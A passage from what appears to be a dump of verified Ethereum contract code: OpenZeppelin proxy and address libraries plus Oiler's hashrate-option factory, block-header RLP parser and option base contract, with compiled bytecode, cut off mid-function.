87565b5090565b5b80821115611da0576000816000905550600101611d88565b5090565b6000611db7611db2846123ce565b6123a9565b90508083825260208201905082856020860282011115611dd657600080fd5b60005b85811015611e065781611dec8882611e4e565b845260208401935060208301925050600181019050611dd9565b5050509392505050565b6000611e23611e1e846123fa565b6123a9565b905082815260208101848484011115611e3b57600080fd5b611e46848285612593565b509392505050565b600081359050611e5d81612838565b92915050565b600082601f830112611e7457600080fd5b8135611e84848260208601611da4565b91505092915050565b600082601f830112611e9e57600080fd5b8135611eae848260208601611e10565b91505092915050565b600081359050611ec68161284f565b92915050565b600060208284031215611ede57600080fd5b6000611eec84828501611e4e565b91505092915050565b60008060408385031215611f0857600080fd5b6000611f1685828601611e4e565b9250506020611f2785828601611e4e565b9150509250929050565b600080600060608486031215611f4657600080fd5b6000611f5486828701611e4e565b9350506020611f6586828701611e4e565b9250506040611f7686828701611eb7565b9150509250925092565b60008060408385031215611f9357600080fd5b6000611fa185828601611e4e565b9250506020611fb285828601611eb7565b9150509250929050565b60008060408385031215611fcf57600080fd5b600083013567ffffffffffffffff811115611fe957600080fd5b611ff585828601611e63565b925050602061200685828601611eb7565b9150509250929050565b60006020828403121561202257600080fd5b600082013567ffffffffffffffff81111561203c57600080fd5b61204884828501611e8d565b91505092915050565b60006020828403121561206357600080fd5b600061207184828501611eb7565b91505092915050565b6120838161254b565b82525050565b6120928161255d565b82525050565b60006120a382612440565b6120ad818561244b565b93506120bd8185602086016125a2565b6120c68161270e565b840191505092915050565b60006120dc82612440565b6120e6818561245c565b93506120f68185602086016125a2565b80840191505092915050565b6000815461210f816125d5565b612119818661245c565b94506001821660008114612134576001811461214557612178565b60ff19831686528186019350612178565b61214e8561242b565b60005b8381101561217057815481890152600182019150602081019050612151565b838801955050505b50505092915050565b600061218e60178361244b565b91506121998261271f565b602082019050919050565b60006121b160118361244b565b91506121bc82612748565b602082019050919050565b60006121d460268361244b565b91506121df82612771565b604082019050919050565b60006121f760148361244b565b9150612202826127c0565b602082019050919050565b600061221a602f8361244b565b9150612225826127e9565b604082019050919050565b61223981612589565b82525050565b600061224b82846120d1565b915081905092915050565b60006122628284612102565b915081905092915050565b6000602082019050612282600083018461207a565b92915050565b600060208201905061229d6000830184612089565b92915050565b600060208201905081810360008301526122bd8184612098565b905092915050565b600060208201905081810360008301526122de81612181565b9050919050565b600060208201905081810360008301526122fe816121a4565b9050919050565b6000602082019050818103600083015261231e816121c7565b9050919050565b6000602082019050818103600083015261233e816121ea565b9050919050565b6000602082019050818103600083015261235e8161220d565b9050919050565b600060208201905061237a6000830184612230565b92915050565b60006040820190506123956000830185612230565b6123a26020830184612230565b9392505050565b60006123b36123c4565b90506123bf8282612607565b919050565b6000604051905090565b600067ffffffffffffffff8211156123e9576123e86126df565b5b602082029050602081019050919050565b600067ffffffffffffffff821115612415576124146126df565b5b61241e8261270e565b9050602081019050919050565b60008190508160005260206000209050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061247282612589565b915061247d83612589565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124b2576124b1612681565b5b828201905092915050565b60006124c882612589565b91506124d383612589565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561250c5761250b612681565b5b828202905092915050565b600061252282612589565b915061252d83612589565b9250828210156125405761253f612681565b5b828203905092915050565b600061255682612569565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b82818337600083830152505050565b60005b838110156125c05780820151818401526020810190506125a5565b838111156125cf576000848401525b50505050565b600060028204905060018216806125ed57607f821691505b60208210811415612601576126006126b0565b5b50919050565b6126108261270e565b810181811067ffffffffffffffff8211171561262f5761262e6126df565b5b80604052505050565b600061264382612589565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561267657612675612681565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f72657665727465642c2049444f2068617320656e646564000000000000000000600082015250565b7f616c6c6f77616e636520746f6f206c6f77000000000000000000000000000000600082015250565b7f536f7272792c20596f7520646f206e6f7420686176652074686174207072697660008201527f696c696567650000000000000000000000000000000000000000000000000000602082015250565b7f696e73756666696369656e742062616c616e6365000000000000000000000000600082015250565b7f416d6f756e7420746f6f20736d616c6c2c20636865636b20776562736974652060008201527f666f722049444f2064657461696c730000000000000000000000000000000000602082015250565b6128418161254b565b811461284c57600080fd5b50565b61285881612589565b811461286357600080fd5b5056fea26469706673582212200026a3d4bae39d5fb86eee17bc336c3f603b8895376f31ad19551ac052904d9664736f6c63430008040033
[ 38 ]
0xf2c51B8c2CbBDac421b93e679dc4c371a3995ab2
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Proxy.sol"; import "../utils/Address.sol"; import "./IBeacon.sol"; /** * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract BeaconProxy is Proxy { /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor(address beacon, bytes memory data) payable { assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)); _setBeacon(beacon, data); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address beacon) { bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { beacon := sload(slot) } } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_beacon()).implementation(); } /** * @dev Changes the proxy to use a new beacon. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { require( Address.isContract(beacon), "BeaconProxy: beacon is not a contract" ); require( Address.isContract(IBeacon(beacon).implementation()), "BeaconProxy: beacon implementation is not a contract" ); bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, beacon) } if (data.length > 0) { Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); }
0x60806040523661001357610011610017565b005b6100115b61001f61002f565b61002f61002a61013b565b6101ae565b565b3b151590565b606061004284610031565b61007d5760405162461bcd60e51b815260040180806020018281038252602681526020018061029c6026913960400191505060405180910390fd5b600080856001600160a01b0316856040518082805190602001908083835b602083106100ba5780518252601f19909201916020918201910161009b565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461011a576040519150601f19603f3d011682016040523d82523d6000602084013e61011f565b606091505b509150915061012f8282866101d2565b925050505b9392505050565b6000610145610276565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561017d57600080fd5b505afa158015610191573d6000803e3d6000fd5b505050506040513d60208110156101a757600080fd5b5051905090565b3660008037600080366000845af43d6000803e8080156101cd573d6000f35b3d6000fd5b606083156101e1575081610134565b8251156101f15782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561023b578181015183820152602001610223565b50505050905090810190601f1680156102685780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50549056fe416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a2646970667358221220e6a93190d004851805da07a125f8a3be19eefa07d2b89e683fcf92e8d340543764736f6c63430007060033
[ 5 ]
0xf2c5E9D1F82F073d3a1D5a884C338da79e1d6e15
// SPDX-License-Identifier: MIT pragma solidity 0.7.5; pragma abicoder v2; import {OilerOptionDifficulty} from "./OilerOptionDifficulty.sol"; import {OilerOptionBaseFactory} from "./OilerOptionBaseFactory.sol"; contract OilerOptionDifficultyFactory is OilerOptionBaseFactory { constructor( address _factoryOwner, address _registryAddress, address _bRouter, address _optionLogicImplementation ) OilerOptionBaseFactory(_factoryOwner, _registryAddress, _bRouter, _optionLogicImplementation) {} function createOption( uint256 _strikePrice, uint256 _expiryTS, bool _put, address _collateral, uint256 _collateralToPushIntoAmount, uint256 _optionsToPushIntoPool ) external override onlyOwner returns (address optionAddress) { address option = _createOption(); OilerOptionDifficulty(option).init(_strikePrice, _expiryTS, _put, _collateral); _pullInitialLiquidityCollateral(_collateral, _collateralToPushIntoAmount); _initializeOptionsPool( OptionInitialLiquidity(_collateral, _collateralToPushIntoAmount, option, _optionsToPushIntoPool) ); registry.registerOption(option, "H"); emit Created(option, "H"); return option; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; pragma abicoder v2; import {HeaderRLP} from "./lib/HeaderRLP.sol"; import {OilerOption} from "./OilerOptionBase.sol"; contract OilerOptionDifficulty is OilerOption { string private constant _optionType = "H"; string private constant _name = "OilerOptionHashrate"; constructor() OilerOption() {} function init( uint256 _strikePrice, uint256 _expiryTS, bool _put, address _collateralAddress ) external { super._init(_strikePrice, _expiryTS, _put, _collateralAddress); } function exercise(bytes calldata _rlp) external returns (bool) { require(isActive(), "OilerOptionDifficulty.exercise: not active, cannot exercise"); uint256 blockNumber = HeaderRLP.checkBlockHash(_rlp); require( blockNumber >= startBlock, "OilerOptionDifficulty.exercise: can only be exercised with a block after option creation" ); uint256 difficulty = HeaderRLP.getDifficulty(_rlp); _exercise(difficulty); return true; } function optionType() external pure override returns (string memory) { return _optionType; } function name() public pure override returns (string memory) { return _name; } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; pragma abicoder v2; import {IBRouter} from "./interfaces/IBRouter.sol"; import {IOilerOptionBase} from "./interfaces/IOilerOptionBase.sol"; import {IBPool} from "./interfaces/IBPool.sol"; import {OilerRegistry} from "./OilerRegistry.sol"; import {ProxyFactory} from "./proxies/ProxyFactory.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; abstract contract OilerOptionBaseFactory is Ownable, ProxyFactory { event Created(address _optionAddress, bytes32 _symbol); struct OptionInitialLiquidity { address collateral; uint256 collateralAmount; address option; uint256 optionsAmount; } /** * @dev Stores address of the registry. */ OilerRegistry public immutable registry; /** * @dev Address on which proxy logic is deployed. */ address public optionLogicImplementation; /** * @dev Balancer pools bRouter address. */ IBRouter public immutable bRouter; /** * @param _factoryOwner - Factory owner. * @param _registryAddress - Oiler options registry address. * @param _optionLogicImplementation - Proxy implementation address. */ constructor( address _factoryOwner, address _registryAddress, address _bRouter, address _optionLogicImplementation ) Ownable() { Ownable.transferOwnership(_factoryOwner); bRouter = IBRouter(_bRouter); registry = OilerRegistry(_registryAddress); optionLogicImplementation = _optionLogicImplementation; } function createOption( uint256 _strikePrice, uint256 _expiryTS, bool _put, address _collateral, uint256 _collateralToPushIntoAmount, uint256 _optionsToPushIntoPool ) external virtual returns (address optionAddress); /** * @dev Allows factory owner to remove liquidity from pool. * @param _option - option liquidity pool to be withdrawn.. */ function removeOptionsPoolLiquidity(address _option) external onlyOwner { _removeOptionsPoolLiquidity(_option); } function isClone(address _query) external view returns (bool) { return _isClone(optionLogicImplementation, _query); } function _createOption() internal returns (address) { return _createClone(optionLogicImplementation); } /** * @dev Transfers collateral from msg.sender to contract. * @param _collateral - option collateral. * @param _collateralAmount - collateral amount to be transfered. */ function _pullInitialLiquidityCollateral(address _collateral, uint256 _collateralAmount) internal { require( IERC20(_collateral).transferFrom(msg.sender, address(this), _collateralAmount), "OilerOptionBaseFactory: ERC20 transfer failed" ); } /** * @dev Initialized a new balancer liquidity pool by providing to it option token and collateral. * @notice creates a new liquidity pool. * @notice during initialization some options are written and provided to the liquidity pool. * @notice pulls collateral. * @param _initialLiquidity - See {OptionInitialLiquidity}. */ function _initializeOptionsPool(OptionInitialLiquidity memory _initialLiquidity) internal { // Approve option to pull collateral while writing option. require( IERC20(_initialLiquidity.collateral).approve(_initialLiquidity.option, _initialLiquidity.optionsAmount), "OilerOptionBaseFactory: ERC20 approval failed, option" ); // Approve bRouter to pull collateral. require( IERC20(_initialLiquidity.collateral).approve(address(bRouter), _initialLiquidity.collateralAmount), "OilerOptionBaseFactory: ERC20 approval failed, bRouter" ); // Approve bRouter to pull written options. require( IERC20(_initialLiquidity.option).approve(address(bRouter), _initialLiquidity.optionsAmount), "OilerOptionBaseFactory: ERC20 approval failed, bRouter" ); // Pull liquidity required to write an option. _pullInitialLiquidityCollateral( address(IOilerOptionBase(_initialLiquidity.option).collateralInstance()), _initialLiquidity.optionsAmount ); // Write the option. IOilerOptionBase(_initialLiquidity.option).write(_initialLiquidity.optionsAmount); // Add liquidity. bRouter.addLiquidity( _initialLiquidity.option, _initialLiquidity.collateral, _initialLiquidity.optionsAmount, _initialLiquidity.collateralAmount ); } /** * @dev Removes liquidity provided while option creation. * @notice withdraws remaining in pool options and collateral. * @notice if option is still active reverts. * @notice once liquidity is removed the pool becomes unusable. * @param _option - option liquidity pool to be withdrawn. */ function _removeOptionsPoolLiquidity(address _option) internal { require( !IOilerOptionBase(_option).isActive(), "OilerOptionBaseFactory.removeOptionsPoolLiquidity: option still active" ); address optionCollateral = address(IOilerOptionBase(_option).collateralInstance()); IBPool pool = bRouter.getPoolByTokens(_option, optionCollateral); require( pool.approve(address(bRouter), pool.balanceOf(address(this))), "OilerOptionBaseFactory.removeOptionsPoolLiquidity: approval failed" ); uint256[] memory amounts = bRouter.removeLiquidity(_option, optionCollateral, pool.balanceOf(address(this))); require(IERC20(_option).transfer(msg.sender, amounts[0]), "ERR_ERC20_FAILED"); require(IERC20(optionCollateral).transfer(msg.sender, amounts[1]), "ERR_ERC20_FAILED"); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; // This library extracts data from Block header encoded in RLP format. // It is not a complete implementation, but optimized for specific cases - thus many hardcoded values. // Here's the current RLP structure and the values we're looking for: // // idx Element element length with 1 byte storing its length // ========================================================================== // Static elements (always same size): // // 0 RLP length 1+2 // 1 parentHash 1+32 // 2 ommersHash 1+32 // 3 beneficiary 1+20 // 4 stateRoot 1+32 // 5 TransactionRoot 1+32 // 6 receiptsRoot 1+32 // logsBloom length 1+2 // 7 logsBloom 256 // ========= // Total static elements size: 448 bytes // // Dynamic elements (need to read length) start at position 448 // and each one is preceeded with 1 byte length (if element is >= 128) // or if element is < 128 - then length byte is skipped and it is just the 1-byte element: // // 8 difficulty - starts at pos 448 // 9 number - blockNumber // 10 gasLimit // 11 gasUsed // 12 timestamp // 13 extraData // 14 mixHash // 15 nonce // SAFEMATH DISCLAIMER: // We and don't use SafeMath here intentionally, because input values are bytes in a byte-array, thus limited to 255 library HeaderRLP { function checkBlockHash(bytes calldata rlp) external view returns (uint256) { uint256 rlpBlockNumber = getBlockNumber(rlp); require( blockhash(rlpBlockNumber) == keccak256(rlp), // blockhash() costs 20 now but it may cost 5000 in the future "HeaderRLP.checkBlockHash: Block hashes don't match" ); return rlpBlockNumber; } function nextElementJump(uint8 prefix) public pure returns (uint8) { // RLP has much more options for element lenghts // But we are safe between 56 bytes and 2MB if (prefix <= 128) { return 1; } else if (prefix <= 183) { return prefix - 128 + 1; } revert("HeaderRLP.nextElementJump: Given element length not implemented"); } // no loop saves ~300 gas function getBlockNumberPositionNoLoop(bytes memory rlp) public pure returns (uint256) { uint256 pos; //jumpting straight to the 1st dynamic element at pos 448 - difficulty pos = 448; //2nd element - block number pos += nextElementJump(uint8(rlp[pos])); return pos; } // no loop saves ~300 gas function getGasLimitPositionNoLoop(bytes memory rlp) public pure returns (uint256) { uint256 pos; //jumpting straight to the 1st dynamic element at pos 448 - difficulty pos = 448; //2nd element - block number pos += nextElementJump(uint8(rlp[pos])); //3rd element - gas limit pos += nextElementJump(uint8(rlp[pos])); return pos; } // no loop saves ~300 gas function getTimestampPositionNoLoop(bytes memory rlp) public pure returns (uint256) { uint256 pos; //jumpting straight to the 1st dynamic element at pos 448 - difficulty pos = 448; //2nd element - block number pos += nextElementJump(uint8(rlp[pos])); //3rd element - gas limit pos += nextElementJump(uint8(rlp[pos])); //4th element - gas used pos += nextElementJump(uint8(rlp[pos])); //timestamp - jackpot! pos += nextElementJump(uint8(rlp[pos])); return pos; } function getBaseFeePositionNoLoop(bytes memory rlp) public pure returns (uint256) { //jumping straight to the 1st dynamic element at pos 448 - difficulty uint256 pos = 448; // 2nd element - block number pos += nextElementJump(uint8(rlp[pos])); // 3rd element - gas limit pos += nextElementJump(uint8(rlp[pos])); // 4th element - gas used pos += nextElementJump(uint8(rlp[pos])); // timestamp pos += nextElementJump(uint8(rlp[pos])); // extradata pos += nextElementJump(uint8(rlp[pos])); // mixhash pos += nextElementJump(uint8(rlp[pos])); // nonce pos += nextElementJump(uint8(rlp[pos])); // nonce pos += nextElementJump(uint8(rlp[pos])); return pos; } function extractFromRLP(bytes calldata rlp, uint256 elementPosition) public pure returns (uint256 element) { // RLP hint: If the byte is less than 128 - than this byte IS the value needed - just return it. if (uint8(rlp[elementPosition]) < 128) { return uint256(uint8(rlp[elementPosition])); } // RLP hint: Otherwise - this byte stores the length of the element needed (in bytes). uint8 elementSize = uint8(rlp[elementPosition]) - 128; // ABI Encoding hint for dynamic bytes element: // 0x00-0x04 (4 bytes): Function signature // 0x05-0x23 (32 bytes uint): Offset to raw data of RLP[] // 0x24-0x43 (32 bytes uint): Length of RLP's raw data (in bytes) // 0x44-.... The RLP raw data starts here // 0x44 + elementPosition: 1 byte stores a length of our element // 0x44 + elementPosition + 1: Raw data of the element // Copies the element from calldata to uint256 stored in memory assembly { calldatacopy( add(mload(0x40), sub(32, elementSize)), // Copy to: Memory 0x40 (free memory pointer) + 32bytes (uint256 size) - length of our element (in bytes) add(0x44, add(elementPosition, 1)), // Copy from: Calldata 0x44 (RLP raw data offset) + elementPosition + 1 byte for the size of element elementSize ) element := mload(mload(0x40)) // Load the 32 bytes (uint256) stored at memory 0x40 pointer - into return value } return element; } function getBlockNumber(bytes calldata rlp) public pure returns (uint256 bn) { return extractFromRLP(rlp, getBlockNumberPositionNoLoop(rlp)); } function getTimestamp(bytes calldata rlp) external pure returns (uint256 ts) { return extractFromRLP(rlp, getTimestampPositionNoLoop(rlp)); } function getDifficulty(bytes calldata rlp) external pure returns (uint256 diff) { return extractFromRLP(rlp, 448); } function getGasLimit(bytes calldata rlp) external pure returns (uint256 gasLimit) { return extractFromRLP(rlp, getGasLimitPositionNoLoop(rlp)); } function getBaseFee(bytes calldata rlp) external pure returns (uint256 baseFee) { return extractFromRLP(rlp, getBaseFeePositionNoLoop(rlp)); } } // SPDX-License-Identifier: MIT pragma solidity 0.7.5; pragma abicoder v2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "./lib/GenSymbol.sol"; import "./interfaces/IOilerCollateral.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/drafts/ERC20PermitUpgradeable.sol"; abstract contract OilerOption is ERC20Upgradeable, ERC20BurnableUpgradeable, ERC20PermitUpgradeable { using SafeMath for uint256; event Created(address indexed _optionAddress, string _symbol); event Exercised(uint256 _value); uint256 private constant MAX_UINT256 = type(uint256).max; // Added compatibility function below: function holderBalances(address holder_) public view returns (uint256) { return balanceOf(holder_); } mapping(address => uint256) public writerBalances; mapping(address => mapping(address => uint256)) public allowed; // OilerOption variables uint256 public startTS; uint256 public startBlock; uint256 public strikePrice; uint256 public expiryTS; bool public put; // put if true, call if false bool public exercised = false; IERC20 public collateralInstance; // Writes an option, locking the collateral function write(uint256 _amount) external { _write(_amount, msg.sender, msg.sender); } function write(uint256 _amount, address _writer) external { _write(_amount, _writer, _writer); } function write( uint256 _amount, address _writer, address _holder ) external { _write(_amount, _writer, _holder); } // Check if option's Expiration date has already passed function isAfterExpirationDate() public view returns (bool expired) { return (expiryTS <= block.timestamp); } function withdraw(uint256 _amount) external { if (isActive()) { // If the option is still Active - one can only release options that he wrote and still holds writerBalances[msg.sender] = writerBalances[msg.sender].sub( _amount, "Option.withdraw: Release amount exceeds options written" ); _burn(msg.sender, _amount); } else { if (hasBeenExercised()) { // If the option was exercised - only holders can withdraw the collateral _burn(msg.sender, _amount); } else { // If the option wasn't exercised, but it's not active - this means it expired - and only writers can withdraw the collateral writerBalances[msg.sender] = writerBalances[msg.sender].sub( _amount, "Option.withdraw: Withdraw amount exceeds options written" ); } } // If none of the above failed - then we succesfully withdrew the amount and we're good to burn tokens and release the collateral bool success = collateralInstance.transfer(msg.sender, _amount); require(success, "Option.withdraw: collateral transfer failed"); } // Get withdrawable collateral function getWithdrawable(address _owner) external view returns (uint256 amount) { if (isActive()) { // If the option is still Active - one can only withdraw options that he wrote and still holds return min(holderBalances(_owner), writerBalances[_owner]); } else { if (hasBeenExercised()) { // If the option was exercised - only holders can withdraw the collateral return holderBalances(_owner); } else { // If the option wasn't exercised, but it's not active - this means it expired - and only writers can withdraw the collateral return writerBalances[_owner]; } } } // Get amount of collateral locked in options function getLocked(address _address) external view returns (uint256 amount) { if (isActive()) { return writerBalances[_address]; } else { return 0; } } function name() public view virtual override returns (string memory) {} // Option is Active (can still be written or exercised) - if it hasn't expired nor hasn't been exercised. // Option is not Active (and the collateral can be withdrawn) - if it has expired or has been exercised. function isActive() public view returns (bool active) { return (!isAfterExpirationDate() && !hasBeenExercised()); } // Option is Expired if its Expiration Date has already passed and it wasn't exercised function hasExpired() public view returns (bool) { return isAfterExpirationDate() && !hasBeenExercised(); } // Additional getter to make it more readable function hasBeenExercised() public view returns (bool) { return exercised; } function optionType() external view virtual returns (string memory) {} function _init( uint256 _strikePrice, uint256 _expiryTS, bool _put, address _collateralAddress ) internal initializer { startTS = block.timestamp; require(_expiryTS > startTS, "OilerOptionBase.init: expiry TS must be above start TS"); expiryTS = _expiryTS; startBlock = block.number; strikePrice = _strikePrice; put = _put; string memory _symbol = GenSymbol.genOptionSymbol(_expiryTS, this.optionType(), _put, _strikePrice); 